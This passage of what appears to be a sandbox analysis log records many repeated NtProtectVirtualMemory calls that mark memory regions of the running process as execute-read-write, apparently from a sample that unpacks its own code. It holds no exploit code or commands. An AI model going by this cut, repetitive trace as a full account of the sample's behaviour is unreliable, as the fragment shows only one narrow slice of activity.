NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.799] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.826] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0316.844] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.017] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.032] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.084] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.131] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.156] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.173] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.198] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.214] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.256] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.282] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.364] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.396] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.412] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.428] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.457] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.479] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.511] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.553] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.585] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.659] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.680] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.712] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.732] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.765] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.785] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.818] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.839] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.891] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.945] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.965] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0317.999] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.020] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.052] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.070] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.102] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.121] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.156] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.177] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.207] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.218] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.229] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.246] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.257] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.267] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.283] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.356] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.366] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.376] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.386] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.402] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.413] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.423] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.433] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.452] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.462] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.473] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.483] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.500] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.513] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.523] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.533] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.550] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.563] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.573] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.600] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.619] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.651] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.669] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.699] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.717] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.766] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.784] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.852] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.864] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.876] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0318.893] NtProtectVirtualMemory (in: 